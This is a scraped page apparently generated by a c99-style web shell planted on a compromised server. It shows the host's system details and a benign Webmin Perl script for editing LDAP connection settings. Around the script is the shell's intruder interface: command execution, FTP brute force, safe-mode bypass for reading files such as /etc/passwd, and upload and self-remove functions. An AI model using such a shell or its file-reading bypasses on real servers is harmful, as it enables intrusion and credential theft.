!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/usr/libexec/webmin/ldap-client/   drwxr-xr-x
Free 50.94 GB of 127.8 GB (39.85%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     edit_server.cgi (3.06 KB)      -rwxr-xr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
#!/usr/bin/perl
# Show a form for editing the LDAP server to connect to

require './ldap-client-lib.pl';
&ui_print_header(undef, $text{'server_title'}, "", "server");

$conf = &get_config();
print &ui_form_start("save_server.cgi", "post");
print &ui_table_start($text{'server_header'}, "width=100%", 2);

$uri = &find_svalue("uri", $conf);
if ($uri) {
    # Show LDAP servers as URIs
    $utable = &ui_columns_start([
            $text{'server_uhost'},
            $text{'server_uport'},
            $text{'server_uproto'} ]);
    $i = 0;
    foreach $u (split(/\s+/, $uri), undef) {
        local ($proto, $host, $port);
        if ($u =~ /^(ldap|ldaps|ldapi):\/\/([a-z0-9\_\-\.]+)(:(\d+))?/) {
            ($proto, $host, $port) = ($1, $2, $4);
            }
        $utable .= &ui_columns_row([
            &ui_textbox("uhost_$i", $host, 20),
            &ui_opt_textbox("uport_$i", $port, 5, $text{'default'}),
            &ui_select("uproto_$i", $proto,
                   [ [ 'ldap', $text{'server_ldap'} ],
                 [ 'ldaps', $text{'server_ldaps'} ],
                 [ 'ldapi', $text{'server_ldapi'} ] ]),
            ]);
        $i++;
        }
    $utable .= &ui_columns_end();
    print &ui_table_row($text{'server_uri'}, $utable);
    }
else {
    # Show LDAP servers from host and port
    print &ui_table_row($text{'server_host'},
        &ui_textarea("host", join("\n", split(/\s+/,
                  &find_svalue("host", $conf))), 3, 50));

    print &ui_table_row($text{'server_port'},
        &ui_opt_textbox("port", &find_svalue("port", $conf), 5,
                $text{'default'}));
    }

print &ui_table_row($text{'server_version'},
    &ui_radio("version", &find_svalue("ldap_version", $conf),
          [ [ "", $text{'default'} ],
            [ 1, "V1" ], [ 2, "V2" ], [ 3, "V3" ] ]));

print &ui_table_row($text{'server_timelimit'},
    &ui_opt_textbox("timelimit", &find_svalue("bind_timelimit", $conf), 5,
             $text{'default'})." ".$text{'base_secs'});

print &ui_table_row($text{'server_binddn'},
    &ui_opt_textbox("binddn", &find_svalue("binddn", $conf), 40,
            $text{'server_anon'}));

print &ui_table_row($text{'server_bindpw'},
    &ui_opt_textbox("bindpw", &find_svalue("bindpw", $conf), 20,
            $text{'server_none'}));

print &ui_table_row($text{'server_rootbinddn'},
    &ui_opt_textbox("rootbinddn", &find_svalue("rootbinddn", $conf), 40,
            $text{'server_same'}));

print &ui_table_row($text{'server_rootbindpw'},
    &ui_opt_textbox("rootbindpw", &get_rootbinddn_secret(), 20,
            $text{'server_none'}));

# SSL options
print &ui_table_hr();

$ssl = &find_svalue("ssl", $conf);
$ssl = "" if ($ssl eq "no");
print &ui_table_row($text{'server_ssl'},
    &ui_radio("ssl", &find_svalue("ssl", $conf),
          [ [ "yes", $text{'yes'} ],
            [ "start_tls", $text{'server_tls'} ],
            [ "", $text{'no'} ] ]));

print &ui_table_row($text{'server_peer'},
    &ui_radio("peer", &find_svalue("tls_checkpeer", $conf),
          [ [ "", &text('server_def', $text{'no'}) ],
            [ "yes", $text{'yes'} ],
            [ "no", $text{'no'} ] ]));

print &ui_table_row($text{'server_cacert'},
    &ui_opt_textbox("cacert", &find_svalue("tls_cacertfile", $conf),
            40, $text{'server_none'})." ".
    &file_chooser_button("cacert"));

print &ui_table_end();
print &ui_form_end([ [ "save", $text{'save'} ] ]);

&ui_print_footer("", $text{'index_return'});



:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0065 ]--